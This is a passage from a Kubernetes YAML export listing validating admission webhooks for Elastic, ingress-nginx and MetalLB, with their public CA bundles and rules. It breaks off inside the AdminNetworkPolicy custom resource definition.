    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-logstash-k8s-elastic-co-v1alpha1-logstash
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-logstash-validation-v1alpha1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - logstash.k8s.elastic.co
      apiVersions:
      - v1alpha1
      operations:
      - CREATE
      - UPDATE
      resources:
      - logstashes
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
- apiVersion: admissionregistration.k8s.io/v1
  kind: ValidatingWebhookConfiguration
  metadata:
    annotations:
      meta.helm.sh/release-name: ingress-nginx
      meta.helm.sh/release-namespace: ingress-nginx
    creationTimestamp: "2025-09-21T19:03:27Z"
    generation: 2
    labels:
      app.kubernetes.io/component: admission-webhook
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
    name: ingress-nginx-admission
    resourceVersion: "64816"
    uid: 55adffd1-160c-4390-8d3c-5de4d7915569
  webhooks:
  - admissionReviewVersions:
    - v1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJkakNDQVJ1Z0F3SUJBZ0lRQkZKMGRTbENLVVNEYU95VHRyZU5GakFLQmdncWhrak9QUVFEQWpBUE1RMHcKQ3dZRFZRUUtFd1J1YVd3eE1DQVhEVEkxTURreU1URTROVGd5TkZvWUR6SXhNalV3T0RJNE1UZzFPREkwV2pBUApNUTB3Q3dZRFZRUUtFd1J1YVd3eE1Ga3dFd1lIS29aSXpqMENBUVlJS29aSXpqMERBUWNEUWdBRUhVN0lCZmJjCmFmYnFPWEhydUhmK0p0R2NiQ3BqZWVnMDZRRzduS2lVVjRlZXdNNkM0Y2czQVJ4M0thbjcxTitWamFDV092bm0KQUJacGdtRVlVaDhRNmFOWE1GVXdEZ1lEVlIwUEFRSC9CQVFEQWdJRU1CTUdBMVVkSlFRTU1Bb0dDQ3NHQVFVRgpCd01CTUE4R0ExVWRFd0VCL3dRRk1BTUJBZjh3SFFZRFZSME9CQllFRkt6cDRPakZtS2xWNGt1ZXBvOXloYW1SClN0RVhNQW9HQ0NxR1NNNDlCQU1DQTBrQU1FWUNJUUNCaUlaQ0xETUQ5VENYc2RpdUM5RVRvNUxDL1ZHaUlpRjQKMk15SlpEY1pxQUloQU1sK0lpdkZQZ0VDV3JsRWxHTDU4SS9rWGRFZzJDMjBxdDFaUXltS3YwQjgKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: ingress-nginx-controller-admission
        namespace: ingress-nginx
        path: /networking/v1/ingresses
        port: 443
    failurePolicy: Fail
    matchPolicy: Equivalent
    name: validate.nginx.ingress.kubernetes.io
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - networking.k8s.io
      apiVersions:
      - v1
      operations:
      - CREATE
      - UPDATE
      resources:
      - ingresses
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
- apiVersion: admissionregistration.k8s.io/v1
  kind: ValidatingWebhookConfiguration
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    generation: 2
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb-webhook-configuration
    resourceVersion: "57986"
    uid: 58ee5f42-2663-4abb-9d3d-c8ffb7ff56c2
  webhooks:
  - admissionReviewVersions:
    - v1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURFRENDQWZpZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFoTVJBd0RnWURWUVFLRXdkdFpYUmgKYkd4aU1RMHdDd1lEVlFRREV3UmpaWEowTUI0WERUSTFNRGt5TVRFM01UUXdNRm9YRFRNMU1Ea3hPVEU0TVRRdwpNRm93SVRFUU1BNEdBMVVFQ2hNSGJXVjBZV3hzWWpFTk1Bc0dBMVVFQXhNRVkyVnlkRENDQVNJd0RRWUpLb1pJCmh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBS3QvZmp3Y3plWlpqT2VDamVQNUtDMGtWZHR0YjRtU3NMYlkKQTl2REZvWGV3OTVDdVdBczVlZkZJWXlYbHdmNWttQVJGZFkvYThLdm5QdlhVTVVkR3FLL0NEUklBdjlmSlk3aQpLcGt4WnpUSXB5QjU4YjJ5WW5JdmNXT0szL2huSlRIbXY5bGtsWXkwSTZoUFZ3c0pheGhnU2Q4UWo2eFpuZUQzCjFoTVlTWUVOMVhZRlNjYmU4VTFpbVlOUVJ6bWwyQytkaG16QmZYNVRLNTVRdytzV2laZElCbXJlMjlyNWgreWUKQ3hhS2YxczZUQlNpUFBOa3hqMGFQS21id1BRMWw5Uk5ZSTd2UXRLZ09LZDZGSStEanhmbnFNakFxZllVOGo2SQpDWGExdXAzb2xJanlqNktZVi9HVXNsUFBXQTAxN0Vkc0hQemtNUVZMNXV1S01kQlJmc3NDQXdFQUFhTlRNRkV3CkRnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCL3dRRk1BTUJBZjh3SFFZRFZSME9CQllFRkV3QStIUFYKWTY1MmVWa09SS2I3NTl6cE1xdGVNQThHQTFVZEVRUUlNQWFDQkdObGNuUXdEUVlKS29aSWh2Y05BUUVMQlFBRApnZ0VCQUg3UG5DWXJJb1NsZ29qSDdoenpta2ptR3VPT3F5NEpURWpSZGZRWDNyMzZ2TlplU1JCRWFjKzlJTXlGCmR1dzNVOUkweHZmL3RFd2Q1djZ1enBra1dVNTN3N3ovUUhLODNROXN3QkZiR3lBOUh5Z0QyM3pMUWlOSS9mcWQKNzJnT2x1YmNocmpXNHBSQUdid2hmTGV4MG1zWjJ2VmRFY1hyQWpwbWttNDltVzVKc2FYTE83ell2TVpzODNBUQpWZnl4SUZwSHdDcHRORFpQUnR3blo5WjIwL01uMDQ4dUgxb1pib1kreFVHUzA2MFBmNFA5OXJyb25lUEthZEc5CnRGeFNvRnlKT1lsMVFyNHlsZ0NHN3R3dTRZQTdWM01wT0RONTRVNUpBRm1oTHRlVVRZTXFzNGorNkpCV2VRMUoKWlRHZE41QVhjSXU3aE9tczBxRENnTGVFNDdRPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
      service:
        name: metallb-webhook-service
        namespace: metallb-system
        path: /validate-metallb-io-v1beta2-bgppeer
        port: 443
    failurePolicy: Fail
    matchPolicy: Equivalent
    name: bgppeervalidationwebhook.metallb.io
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - metallb.io
      apiVersions:
      - v1beta2
      operations:
      - CREATE
      - UPDATE
      resources:
      - bgppeers
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURFRENDQWZpZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFoTVJBd0RnWURWUVFLRXdkdFpYUmgKYkd4aU1RMHdDd1lEVlFRREV3UmpaWEowTUI0WERUSTFNRGt5TVRFM01UUXdNRm9YRFRNMU1Ea3hPVEU0TVRRdwpNRm93SVRFUU1BNEdBMVVFQ2hNSGJXVjBZV3hzWWpFTk1Bc0dBMVVFQXhNRVkyVnlkRENDQVNJd0RRWUpLb1pJCmh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBS3QvZmp3Y3plWlpqT2VDamVQNUtDMGtWZHR0YjRtU3NMYlkKQTl2REZvWGV3OTVDdVdBczVlZkZJWXlYbHdmNWttQVJGZFkvYThLdm5QdlhVTVVkR3FLL0NEUklBdjlmSlk3aQpLcGt4WnpUSXB5QjU4YjJ5WW5JdmNXT0szL2huSlRIbXY5bGtsWXkwSTZoUFZ3c0pheGhnU2Q4UWo2eFpuZUQzCjFoTVlTWUVOMVhZRlNjYmU4VTFpbVlOUVJ6bWwyQytkaG16QmZYNVRLNTVRdytzV2laZElCbXJlMjlyNWgreWUKQ3hhS2YxczZUQlNpUFBOa3hqMGFQS21id1BRMWw5Uk5ZSTd2UXRLZ09LZDZGSStEanhmbnFNakFxZllVOGo2SQpDWGExdXAzb2xJanlqNktZVi9HVXNsUFBXQTAxN0Vkc0hQemtNUVZMNXV1S01kQlJmc3NDQXdFQUFhTlRNRkV3CkRnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCL3dRRk1BTUJBZjh3SFFZRFZSME9CQllFRkV3QStIUFYKWTY1MmVWa09SS2I3NTl6cE1xdGVNQThHQTFVZEVRUUlNQWFDQkdObGNuUXdEUVlKS29aSWh2Y05BUUVMQlFBRApnZ0VCQUg3UG5DWXJJb1NsZ29qSDdoenpta2ptR3VPT3F5NEpURWpSZGZRWDNyMzZ2TlplU1JCRWFjKzlJTXlGCmR1dzNVOUkweHZmL3RFd2Q1djZ1enBra1dVNTN3N3ovUUhLODNROXN3QkZiR3lBOUh5Z0QyM3pMUWlOSS9mcWQKNzJnT2x1YmNocmpXNHBSQUdid2hmTGV4MG1zWjJ2VmRFY1hyQWpwbWttNDltVzVKc2FYTE83ell2TVpzODNBUQpWZnl4SUZwSHdDcHRORFpQUnR3blo5WjIwL01uMDQ4dUgxb1pib1kreFVHUzA2MFBmNFA5OXJyb25lUEthZEc5CnRGeFNvRnlKT1lsMVFyNHlsZ0NHN3R3dTRZQTdWM01wT0RONTRVNUpBRm1oTHRlVVRZTXFzNGorNkpCV2VRMUoKWlRHZE41QVhjSXU3aE9tczBxRENnTGVFNDdRPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
      service:
        name: metallb-webhook-service
        namespace: metallb-system
        path: /validate-metallb-io-v1beta1-ipaddresspool
        port: 443
    failurePolicy: Fail
    matchPolicy: Equivalent
    name: ipaddresspoolvalidationwebhook.metallb.io
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - metallb.io
      apiVersions:
      - v1beta1
      operations:
      - CREATE
      - UPDATE
      resources:
      - ipaddresspools
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURFRENDQWZpZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFoTVJBd0RnWURWUVFLRXdkdFpYUmgKYkd4aU1RMHdDd1lEVlFRREV3UmpaWEowTUI0WERUSTFNRGt5TVRFM01UUXdNRm9YRFRNMU1Ea3hPVEU0TVRRdwpNRm93SVRFUU1BNEdBMVVFQ2hNSGJXVjBZV3hzWWpFTk1Bc0dBMVVFQXhNRVkyVnlkRENDQVNJd0RRWUpLb1pJCmh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBS3QvZmp3Y3plWlpqT2VDamVQNUtDMGtWZHR0YjRtU3NMYlkKQTl2REZvWGV3OTVDdVdBczVlZkZJWXlYbHdmNWttQVJGZFkvYThLdm5QdlhVTVVkR3FLL0NEUklBdjlmSlk3aQpLcGt4WnpUSXB5QjU4YjJ5WW5JdmNXT0szL2huSlRIbXY5bGtsWXkwSTZoUFZ3c0pheGhnU2Q4UWo2eFpuZUQzCjFoTVlTWUVOMVhZRlNjYmU4VTFpbVlOUVJ6bWwyQytkaG16QmZYNVRLNTVRdytzV2laZElCbXJlMjlyNWgreWUKQ3hhS2YxczZUQlNpUFBOa3hqMGFQS21id1BRMWw5Uk5ZSTd2UXRLZ09LZDZGSStEanhmbnFNakFxZllVOGo2SQpDWGExdXAzb2xJanlqNktZVi9HVXNsUFBXQTAxN0Vkc0hQemtNUVZMNXV1S01kQlJmc3NDQXdFQUFhTlRNRkV3CkRnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCL3dRRk1BTUJBZjh3SFFZRFZSME9CQllFRkV3QStIUFYKWTY1MmVWa09SS2I3NTl6cE1xdGVNQThHQTFVZEVRUUlNQWFDQkdObGNuUXdEUVlKS29aSWh2Y05BUUVMQlFBRApnZ0VCQUg3UG5DWXJJb1NsZ29qSDdoenpta2ptR3VPT3F5NEpURWpSZGZRWDNyMzZ2TlplU1JCRWFjKzlJTXlGCmR1dzNVOUkweHZmL3RFd2Q1djZ1enBra1dVNTN3N3ovUUhLODNROXN3QkZiR3lBOUh5Z0QyM3pMUWlOSS9mcWQKNzJnT2x1YmNocmpXNHBSQUdid2hmTGV4MG1zWjJ2VmRFY1hyQWpwbWttNDltVzVKc2FYTE83ell2TVpzODNBUQpWZnl4SUZwSHdDcHRORFpQUnR3blo5WjIwL01uMDQ4dUgxb1pib1kreFVHUzA2MFBmNFA5OXJyb25lUEthZEc5CnRGeFNvRnlKT1lsMVFyNHlsZ0NHN3R3dTRZQTdWM01wT0RONTRVNUpBRm1oTHRlVVRZTXFzNGorNkpCV2VRMUoKWlRHZE41QVhjSXU3aE9tczBxRENnTGVFNDdRPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
      service:
        name: metallb-webhook-service
        namespace: metallb-system
        path: /validate-metallb-io-v1beta1-bgpadvertisement
        port: 443
    failurePolicy: Fail
    matchPolicy: Equivalent
    name: bgpadvertisementvalidationwebhook.metallb.io
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - metallb.io
      apiVersions:
      - v1beta1
      operations:
      - CREATE
      - UPDATE
      resources:
      - bgpadvertisements
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURFRENDQWZpZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFoTVJBd0RnWURWUVFLRXdkdFpYUmgKYkd4aU1RMHdDd1lEVlFRREV3UmpaWEowTUI0WERUSTFNRGt5TVRFM01UUXdNRm9YRFRNMU1Ea3hPVEU0TVRRdwpNRm93SVRFUU1BNEdBMVVFQ2hNSGJXVjBZV3hzWWpFTk1Bc0dBMVVFQXhNRVkyVnlkRENDQVNJd0RRWUpLb1pJCmh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBS3QvZmp3Y3plWlpqT2VDamVQNUtDMGtWZHR0YjRtU3NMYlkKQTl2REZvWGV3OTVDdVdBczVlZkZJWXlYbHdmNWttQVJGZFkvYThLdm5QdlhVTVVkR3FLL0NEUklBdjlmSlk3aQpLcGt4WnpUSXB5QjU4YjJ5WW5JdmNXT0szL2huSlRIbXY5bGtsWXkwSTZoUFZ3c0pheGhnU2Q4UWo2eFpuZUQzCjFoTVlTWUVOMVhZRlNjYmU4VTFpbVlOUVJ6bWwyQytkaG16QmZYNVRLNTVRdytzV2laZElCbXJlMjlyNWgreWUKQ3hhS2YxczZUQlNpUFBOa3hqMGFQS21id1BRMWw5Uk5ZSTd2UXRLZ09LZDZGSStEanhmbnFNakFxZllVOGo2SQpDWGExdXAzb2xJanlqNktZVi9HVXNsUFBXQTAxN0Vkc0hQemtNUVZMNXV1S01kQlJmc3NDQXdFQUFhTlRNRkV3CkRnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCL3dRRk1BTUJBZjh3SFFZRFZSME9CQllFRkV3QStIUFYKWTY1MmVWa09SS2I3NTl6cE1xdGVNQThHQTFVZEVRUUlNQWFDQkdObGNuUXdEUVlKS29aSWh2Y05BUUVMQlFBRApnZ0VCQUg3UG5DWXJJb1NsZ29qSDdoenpta2ptR3VPT3F5NEpURWpSZGZRWDNyMzZ2TlplU1JCRWFjKzlJTXlGCmR1dzNVOUkweHZmL3RFd2Q1djZ1enBra1dVNTN3N3ovUUhLODNROXN3QkZiR3lBOUh5Z0QyM3pMUWlOSS9mcWQKNzJnT2x1YmNocmpXNHBSQUdid2hmTGV4MG1zWjJ2VmRFY1hyQWpwbWttNDltVzVKc2FYTE83ell2TVpzODNBUQpWZnl4SUZwSHdDcHRORFpQUnR3blo5WjIwL01uMDQ4dUgxb1pib1kreFVHUzA2MFBmNFA5OXJyb25lUEthZEc5CnRGeFNvRnlKT1lsMVFyNHlsZ0NHN3R3dTRZQTdWM01wT0RONTRVNUpBRm1oTHRlVVRZTXFzNGorNkpCV2VRMUoKWlRHZE41QVhjSXU3aE9tczBxRENnTGVFNDdRPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
      service:
        name: metallb-webhook-service
        namespace: metallb-system
        path: /validate-metallb-io-v1beta1-community
        port: 443
    failurePolicy: Fail
    matchPolicy: Equivalent
    name: communityvalidationwebhook.metallb.io
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - metallb.io
      apiVersions:
      - v1beta1
      operations:
      - CREATE
      - UPDATE
      resources:
      - communities
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURFRENDQWZpZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFoTVJBd0RnWURWUVFLRXdkdFpYUmgKYkd4aU1RMHdDd1lEVlFRREV3UmpaWEowTUI0WERUSTFNRGt5TVRFM01UUXdNRm9YRFRNMU1Ea3hPVEU0TVRRdwpNRm93SVRFUU1BNEdBMVVFQ2hNSGJXVjBZV3hzWWpFTk1Bc0dBMVVFQXhNRVkyVnlkRENDQVNJd0RRWUpLb1pJCmh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBS3QvZmp3Y3plWlpqT2VDamVQNUtDMGtWZHR0YjRtU3NMYlkKQTl2REZvWGV3OTVDdVdBczVlZkZJWXlYbHdmNWttQVJGZFkvYThLdm5QdlhVTVVkR3FLL0NEUklBdjlmSlk3aQpLcGt4WnpUSXB5QjU4YjJ5WW5JdmNXT0szL2huSlRIbXY5bGtsWXkwSTZoUFZ3c0pheGhnU2Q4UWo2eFpuZUQzCjFoTVlTWUVOMVhZRlNjYmU4VTFpbVlOUVJ6bWwyQytkaG16QmZYNVRLNTVRdytzV2laZElCbXJlMjlyNWgreWUKQ3hhS2YxczZUQlNpUFBOa3hqMGFQS21id1BRMWw5Uk5ZSTd2UXRLZ09LZDZGSStEanhmbnFNakFxZllVOGo2SQpDWGExdXAzb2xJanlqNktZVi9HVXNsUFBXQTAxN0Vkc0hQemtNUVZMNXV1S01kQlJmc3NDQXdFQUFhTlRNRkV3CkRnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCL3dRRk1BTUJBZjh3SFFZRFZSME9CQllFRkV3QStIUFYKWTY1MmVWa09SS2I3NTl6cE1xdGVNQThHQTFVZEVRUUlNQWFDQkdObGNuUXdEUVlKS29aSWh2Y05BUUVMQlFBRApnZ0VCQUg3UG5DWXJJb1NsZ29qSDdoenpta2ptR3VPT3F5NEpURWpSZGZRWDNyMzZ2TlplU1JCRWFjKzlJTXlGCmR1dzNVOUkweHZmL3RFd2Q1djZ1enBra1dVNTN3N3ovUUhLODNROXN3QkZiR3lBOUh5Z0QyM3pMUWlOSS9mcWQKNzJnT2x1YmNocmpXNHBSQUdid2hmTGV4MG1zWjJ2VmRFY1hyQWpwbWttNDltVzVKc2FYTE83ell2TVpzODNBUQpWZnl4SUZwSHdDcHRORFpQUnR3blo5WjIwL01uMDQ4dUgxb1pib1kreFVHUzA2MFBmNFA5OXJyb25lUEthZEc5CnRGeFNvRnlKT1lsMVFyNHlsZ0NHN3R3dTRZQTdWM01wT0RONTRVNUpBRm1oTHRlVVRZTXFzNGorNkpCV2VRMUoKWlRHZE41QVhjSXU3aE9tczBxRENnTGVFNDdRPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
      service:
        name: metallb-webhook-service
        namespace: metallb-system
        path: /validate-metallb-io-v1beta1-bfdprofile
        port: 443
    failurePolicy: Fail
    matchPolicy: Equivalent
    name: bfdprofilevalidationwebhook.metallb.io
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - metallb.io
      apiVersions:
      - v1beta1
      operations:
      - CREATE
      - DELETE
      resources:
      - bfdprofiles
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURFRENDQWZpZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFoTVJBd0RnWURWUVFLRXdkdFpYUmgKYkd4aU1RMHdDd1lEVlFRREV3UmpaWEowTUI0WERUSTFNRGt5TVRFM01UUXdNRm9YRFRNMU1Ea3hPVEU0TVRRdwpNRm93SVRFUU1BNEdBMVVFQ2hNSGJXVjBZV3hzWWpFTk1Bc0dBMVVFQXhNRVkyVnlkRENDQVNJd0RRWUpLb1pJCmh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBS3QvZmp3Y3plWlpqT2VDamVQNUtDMGtWZHR0YjRtU3NMYlkKQTl2REZvWGV3OTVDdVdBczVlZkZJWXlYbHdmNWttQVJGZFkvYThLdm5QdlhVTVVkR3FLL0NEUklBdjlmSlk3aQpLcGt4WnpUSXB5QjU4YjJ5WW5JdmNXT0szL2huSlRIbXY5bGtsWXkwSTZoUFZ3c0pheGhnU2Q4UWo2eFpuZUQzCjFoTVlTWUVOMVhZRlNjYmU4VTFpbVlOUVJ6bWwyQytkaG16QmZYNVRLNTVRdytzV2laZElCbXJlMjlyNWgreWUKQ3hhS2YxczZUQlNpUFBOa3hqMGFQS21id1BRMWw5Uk5ZSTd2UXRLZ09LZDZGSStEanhmbnFNakFxZllVOGo2SQpDWGExdXAzb2xJanlqNktZVi9HVXNsUFBXQTAxN0Vkc0hQemtNUVZMNXV1S01kQlJmc3NDQXdFQUFhTlRNRkV3CkRnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCL3dRRk1BTUJBZjh3SFFZRFZSME9CQllFRkV3QStIUFYKWTY1MmVWa09SS2I3NTl6cE1xdGVNQThHQTFVZEVRUUlNQWFDQkdObGNuUXdEUVlKS29aSWh2Y05BUUVMQlFBRApnZ0VCQUg3UG5DWXJJb1NsZ29qSDdoenpta2ptR3VPT3F5NEpURWpSZGZRWDNyMzZ2TlplU1JCRWFjKzlJTXlGCmR1dzNVOUkweHZmL3RFd2Q1djZ1enBra1dVNTN3N3ovUUhLODNROXN3QkZiR3lBOUh5Z0QyM3pMUWlOSS9mcWQKNzJnT2x1YmNocmpXNHBSQUdid2hmTGV4MG1zWjJ2VmRFY1hyQWpwbWttNDltVzVKc2FYTE83ell2TVpzODNBUQpWZnl4SUZwSHdDcHRORFpQUnR3blo5WjIwL01uMDQ4dUgxb1pib1kreFVHUzA2MFBmNFA5OXJyb25lUEthZEc5CnRGeFNvRnlKT1lsMVFyNHlsZ0NHN3R3dTRZQTdWM01wT0RONTRVNUpBRm1oTHRlVVRZTXFzNGorNkpCV2VRMUoKWlRHZE41QVhjSXU3aE9tczBxRENnTGVFNDdRPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
      service:
        name: metallb-webhook-service
        namespace: metallb-system
        path: /validate-metallb-io-v1beta1-l2advertisement
        port: 443
    failurePolicy: Fail
    matchPolicy: Equivalent
    name: l2advertisementvalidationwebhook.metallb.io
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - metallb.io
      apiVersions:
      - v1beta1
      operations:
      - CREATE
      - UPDATE
      resources:
      - l2advertisements
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      api-approved.kubernetes.io: https://github.com/kubernetes-sigs/network-policy-api/pull/30
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"api-approved.kubernetes.io":"https://github.com/kubernetes-sigs/network-policy-api/pull/30","policy.networking.k8s.io/bundle-version":"v0.1.1","policy.networking.k8s.io/channel":"experimental"},"creationTimestamp":null,"name":"adminnetworkpolicies.policy.networking.k8s.io"},"spec":{"group":"policy.networking.k8s.io","names":{"kind":"AdminNetworkPolicy","listKind":"AdminNetworkPolicyList","plural":"adminnetworkpolicies","shortNames":["anp"],"singular":"adminnetworkpolicy"},"scope":"Cluster","versions":[{"additionalPrinterColumns":[{"jsonPath":".spec.priority","name":"Priority","type":"string"},{"jsonPath":".metadata.creationTimestamp","name":"Age","type":"date"}],"name":"v1alpha1","schema":{"openAPIV3Schema":{"description":"AdminNetworkPolicy is  a cluster level resource that is part of the\nAdminNetworkPolicy API.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"Specification of the desired behavior of AdminNetworkPolicy.","properties":{"egress":{"description":"Egress is the list of Egress rules to be applied to the selected pods.\nA total of 100 rules will be allowed in each ANP instance.\nThe relative precedence of egress rules within a single ANP object (all of\nwhich share the priority) will be determined by the order in which the rule\nis written. Thus, a rule that appears at the top of the egress rules\nwould take the highest precedence.\nANPs with no egress rules do not affect egress traffic.\n\n\nSupport: Core","items":{"description":"AdminNetworkPolicyEgressRule describes an action to take on a particular\nset of traffic originating from pods selected by a AdminNetworkPolicy's\nSubject field.\n\u003cnetwork-policy-api:experimental:validation\u003e","properties":{"action":{"description":"Action specifies the effect this rule will have on matching traffic.\nCurrently the following actions are supported:\nAllow: allows the selected traffic (even if it would otherwise have been denied by NetworkPolicy)\nDeny: denies the selected traffic\nPass: instructs the selected traffic to 